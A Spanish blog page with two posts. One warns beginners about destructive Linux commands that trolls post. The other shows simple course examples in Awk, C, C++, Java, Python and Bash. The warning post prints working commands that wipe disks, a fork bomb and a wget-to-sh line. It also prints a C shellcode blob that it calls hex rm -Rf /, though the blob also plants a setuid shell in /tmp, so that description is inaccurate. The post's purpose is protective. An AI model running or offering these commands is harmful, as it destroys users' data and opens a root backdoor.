Luciérnagas a mediodía

Esta entrada es para mostrarles unos comandos los cuales encontré también hace mucho, y es para evitar que caigan en las trampas de trolls, es decir, si intentan hacer algo que no saben, checken que no coincidan sus comandos con estos:

rm -rf /

Este comando eliminará a la fuerza y recursivamente (incluyendo subdirectorios), todos los archivos dentro del directorio raiz.

char esp[] __attribute__ ((section(".text";)

)) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Esta es la versión hexadecimal de rm -Rf /, con la cual podría engañarse incluso a usuarios linux más experimentados.

# mkfs.ext3 /dev/sda

Reformatea la partición/disco, liquidando todos los archivos del dispositivo mencionado despues del comando mkfs.

:(

){:|

:&};:

La ya conocida por muchos Bomba fork (http://www.kriptopolis.org/bombas-y-bombos). Este comando hará que tu sistema ejecute un elevado número de procesos, hasta que el mismo se “cuelgue”. A menudo esto puede acarrear perdida de datos.

[cualquier_comando] > /dev/sda

Con este comando, se envian bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.

wget http://[fuente_de_origen_inseguro] -O- | sh

Estamos descargando datos, posiblemente un script, de alguna fuente no muy confiable, e inmediatamente despues, estamos ordenando que se ejecute el archivo descargado. NUNCA HAGAS ESTO.

mv /home/tudirectoriodeusuario/* /dev/null

Este comando mueve todos los archivos dentro de tu directorio home, a un lugar que no existe, razón por la cual, nunca podrás ver tus archivos de nuevo.

En este post mostraré ejemplos de los lenguajes de programación mencionados en el curso de invierno.

Awk

Es un lenguaje que jamás había escuchado, pero investigando en wikipedia se habla de un lenguaje el cuál es para procesar datos basados en texto y que normalmente se usa para programas de una línea. Ejemplo:

BEGIN {
   printf "preambulo LaTeX"
   printf "\\begin{tabular}"
   printf "{|c|c|...|c|}"
   }
{
   printf $1" & "
   printf $2" & "
   .
   .
   .
   printf $n" \\\\ "
   printf "\\hline"
   }
END {
   print "\\end{document}"
   }

Es el lenguaje más popular para crear software y aplicaciones. Ejemplo:

#include
#include

int main ()
{

FILE * fp;
fp = fopen ("archivo.txt","w");
fprintf (fp,"hola mundo");
fclose (fp);
system ("PAUSE");

}

C++

Es un lenguaje orientado a objetos, fue creado para extender el C. Ejemplo:

#include
#include
#include
#include
#include
#include

presenta()
{
int i,x,y,c;

  for (i=0; i<=600; i++)
  {
   c=(rand()*15);
   x=random(640);
   y=random(480);
   putpixel(x,y,c);
   delay(5);
  }return 0;
};
int main(void)
{
int modo,monitor,r,f;
monitor=DETECT;
initgraph(&monitor,&modo,"c:");

for (r=0; r<=200; r++)
{
  f=(rand()*15);
  setcolor(f);
  circle (300,250,r);
  delay(20);
  }
  presenta();
  setcolor(5);
  settextstyle(1,0,5);
  outtextxy(300,200,"YASMIN YA¥EZ");
  delay(30);
  getch();
return 0;
}

Java

Otro lenguaje orientado objetos que toma mucha de su sintáxis de C y C++, pero elimina herramientas de bajo nivel que suelen inducir a muchos errores. Ejemplo:

import java.applet.*;
import java.awt.*;
import java.awt.event.*;
import java.net.*;
import java.lang.*;

//
// Clase panoramica, es el applet y es a su vez thread.
//
// El hilo está en un bucle infinito realizando la operación que
// indique "operacion". La clase Raton2 atiende al raton y se encarga
// de cambiar la variable "operacion".
//
//
public class panoramica extends Applet implements Runnable
{
//
// Variables de la clase
//
Raton2 Movimiento_Raton; // Clase que trata event. raton
double x = 0.0; // esquina sup. izq. de foto
double y = 0.0;
public int x_raton = 0; // pos. de ratón al hacer click
public int y_raton = 0;
double ancho_imagen = 0; // ancho/alto imagen, zoom incluido
double alto_imagen = 0;
int ancho_imagen_original = 0;// ancho/alto inicial de imagen
int alto_imagen_original = 0;
int ancho_applet = 0; // ancho/alto del applet en la pag.
int alto_applet = 0;
Image Imagen; // Imagen a presentar
MediaTracker tracker; // Control imagen. Avisa cuando se
// cargado totalmente de disco

//
// operacion :
// 0 nada
// 1 acercar
// 2 alejar
// 3 desplazar
//
public int operacion;

//
// Metodo del thread, bucle infinito que ejecuta lo indicado
// en "operacion".
//
public void run ()
{
while (true)
{
switch (operacion)
{
case 1:
Acercar();
break;
case 2:
Alejar();
break;
case 3:
Desplazar();
break;
}

if (operacion != 0)
repaint();

//
// Espera de 0.1 segundos
//
try
{
Thread.currentThread().sleep (100);
}
catch (InterruptedException e)
{
}
}
}

//
// Espera a que la imagen se cargue de disco un maximo de
// 1 minuto.
//
public void Espera()
{
try
{
tracker.waitForID (1, 60000);
}
catch (InterruptedException e)
{
}
}

//
// Metodo de inicializacion del applet. Se encarga de
// instanciar la clase Raton2, añadirla al applet,
// cargar la imagen y ejecutar el thread.
//
public void init()
{

//
// Carga de la imagen
//
String Fichero_Imagen;
Fichero_Imagen = getParameter ("Fichero_Imagen");
if (Fichero_Imagen == null)
{
return;
}
Imagen = getImage (getDocumentBase(), Fichero_Imagen);

//
// Espera que la imagen se haya cargado del todo
//
tracker = new MediaTracker (this);
tracker.addImage (Imagen, 1);
Espera();
if (Imagen == null)
{
return;
}

//
// Coge ancho y alto de la imagen
//
ancho_imagen_original = Imagen.getWidth (this);
alto_imagen_original = Imagen.getHeight (this);
ancho_imagen = ancho_imagen_original;
alto_imagen = alto_imagen_original;

//
// Anade listener del raton
//
Movimiento_Raton = new Raton2(this);
addMouseListener (Movimiento_Raton);
addMouseMotionListener (Movimiento_Raton);

//
// Arranca un hilo que se encarga de redibujar la imagen
// continuemente, teniendo en cuenta si se esta haciendo
// zoom o desplazando la imagen
//
Thread otro = new Thread (this);
otro.start();
}

//
// El update por defecto del applet borra el applet y llama
// al metodo paint().
// Se redefine update para que no borre la imagen, puesto que
// vamos a superponer la nueva, evitando parpadeo, pero si
// llamamos a paint()
//
public void update (Graphics g)
{
paint(g);
}

//
// Metodo al que llama el navegador cuando necesita pintar el
// applet.
// Se pinta la imagen en el start, por medio de la llamada a
// repaint(), definida por defecto en el applet y que se encarga
// de llamar a update()
//
public void start ()
{
repaint();
}

//
// Se dibuja la imagen, con al alto_imagen y ancho_imagen
// calculado por las funciones de zoom y la posicion x, y
// calculada en dichos metodos y el desplazamiento.
// La suma de 0.5 es para que al redondear a entero, se redondee
// y no se trunque.
//
public void paint (Graphics g)
{
g.drawImage (Imagen, (int)(x + 0.5), (int)(y + 0.5),
(int)(ancho_imagen + 0.5), (int)(alto_imagen + 0.5),
this);
}

//
// Zoom de acercar.
//
public void Acercar()
{
if (ancho_imagen_original == -1)
{
return;
}

//
// Se acerca un 1% y se llama a repaint()
//
x = x_raton - (x_raton - x) * 1.01;
y = y_raton - (y_raton - y) * 1.01;
alto_imagen = alto_imagen * 1.01;
ancho_imagen = ancho_imagen * 1.01;
repaint();
}

//
// Zoom de alejar
//
public void Alejar()
{
if (ancho_imagen_original == -1)
{
return;
}

//
// Se limita la imagen para que no se pueda reducir mas que
// el tamano del applet. En caso de que no vaya a quedar
// mas pequena, se cambia.
// Se reduce la imagen un 1%
//
if (((alto_imagen * 0.99) >= getSize().height) &&
((ancho_imagen * 0.99) >= getSize().width))
{
alto_imagen = alto_imagen * 0.99;
ancho_imagen = ancho_imagen * 0.99;

x = x_raton - (x_raton - x) * 0.99;
y = y_raton - (y_raton - y) * 0.99;
if (x>0.0) x = 0.0;
if (y>0.0) y = 0.0;

repaint();
}
}

//
// Desplazamiento de la imagen hacia el raton
//
public void Desplazar()
{
double desp_x = 0;
double desp_y = 0;
double modulo = 0;

desp_x = (x_raton - getSize().width/2);
desp_y = (y_raton - getSize().height/2);

//
// una cuenta aproximada del modulo, por aquello de no
// hacer cuentas muy complejas
//
modulo = (Math.abs(desp_x) + Math.abs(desp_y));

desp_x = desp_x / modulo * 4.0;
desp_y = desp_y / modulo * 4.0;

if ((x + desp_x <= 0) &&
(x + desp_x + (int)(ancho_imagen + 0.5)) >= getSize().width)
x = x + desp_x;

if ((y + desp_y <= 0) &&
(y + desp_y + (int)(alto_imagen + 0.5)) >= getSize().height)
y = y + desp_y;

repaint();
}
}

Python

Para mí, un lenguaje interesante, ya que desde que empezé en este rollo de los SO basados en Unix se utilizan muchos programas escritos en python, y por ello deduje que podría ser un lenguaje excelente para el desarrollo de aplicaciones. Ejemplo:

#!/usr/bin/python2
# Función Fibonacci
# n números de elementos de la sucesión

def fibiter(n): # Escribe n números de Fibonacci
   "Escribe n números de Fibonacci."
   salida=[]
   a,b = 0,1 #Asignación múltiple
   for x in range(n): #Creamos una secuencia 1,2,...,n con range
   print b, # Escribimos en una sola línea
   salida.append(b)
   a, b = b, a+b

   return salida

def fibrec(n):
   "Escribe n números de Fibonacci."
   if (n < 2):
   return n
   else:
   return fibrec(n-1) + fibrec(n-2)


# El desbordamiento se produce con valores mayores de 45

Bash

Otro lenguaje interesante para hacer scripts, me ha salvado la vida algunas veces para compatibilidad de hardware en derivados de Debian y para lograr algunas modificaciones en aplicaciones. Ejemplo:

#!/bin/sh

if [ -z "${1}" ] ; then
echo "Purpose:"
echo "Locate all madwifi-related kernel modules for a given kernel"
echo "(including all its subdirectories)."
echo
echo "Usage:"
echo "$0 [-l] [-r] [destdir]"
echo
echo ": the kernel release that madwifi has been compiled for"
echo "[destdir]: destination directory for the compiled madwifi modules (optional)"
echo "-l list the modules we find."
echo "-r remove the modules we find."
echo "If neither -l or -r is specified, the user will be prompted."
echo
exit 1
fi

LIST_CMD=0
REMOVE_CMD=0
while [ 1 ]; do
case $1 in
-l)
LIST_CMD=1
shift;
;;
-r)
REMOVE_CMD=1
shift;
;;
*)
break;
;;
esac;
done;

KVERS="${1}"

if [ -n "${2}" ]; then
KDEST="${2}"
else
KDEST=""
fi

SEARCH="${KDEST}/lib/modules/${KVERS}"

PATTERN="^.*\/(ath_(hal|pci|rate_[^.]*)\.k?o)|(wlan(_(acl|ccmp|scan_(ap|sta)|tkip|wep|xauth))?\.k?o)$"
OLD_MODULES=$(find ${SEARCH} -type f -regex '.*\.k?o' 2>/dev/null | grep -w -E "${PATTERN}")

if [ -n "${OLD_MODULES}" ]; then
if [ "$LIST_CMD" -eq 1 ] || [ "$REMOVE_CMD" -eq 1 ]; then
if [ "$LIST_CMD" -eq 1 ]; then
for m in ${OLD_MODULES}; do echo ${m}; done
fi;
if [ "$REMOVE_CMD" -eq 1 ]; then
rm -f ${OLD_MODULES}
fi;
else
echo ""
echo "WARNING:"
echo "It seems that there are modules left from previous MadWifi installations."
echo "If you are unistalling the MadWifi modules please press \"r\" to remove them."
echo "If you are installing new MadWifi modules, you should consider removing those"
echo "already installed, or else you may experience problems during operation."
echo "Remove old modules?"

while true; do
echo
echo -n "[l]ist, [r]emove, [i]gnore or e[x]it (l,r,i,[x]) ? "
echo
read REPLY
case ${REPLY} in
l|L)
for m in ${OLD_MODULES}; do echo ${m}; done
continue
;;

r|R)
rm -f ${OLD_MODULES}
exit
;;

i|I)
exit 0
;;

x|X)
exit 1
;;

*)
continue
;;
esac
done
fi;
fi

exit 0

Como lo mencioné al principio, sólo fue para ver diferencias y similitudes. Gracias a la Dra. Elisa Schaeffer por la información de la clase.

Luciérnagas a mediodía

Friday, December 17, 2010

Compiz

Wednesday, December 8, 2010

Comandos de la muerte

Wallpapers para novatos

Cheatsheet de comandos Shell

Tuesday, December 7, 2010

Algunos lenguajes de programación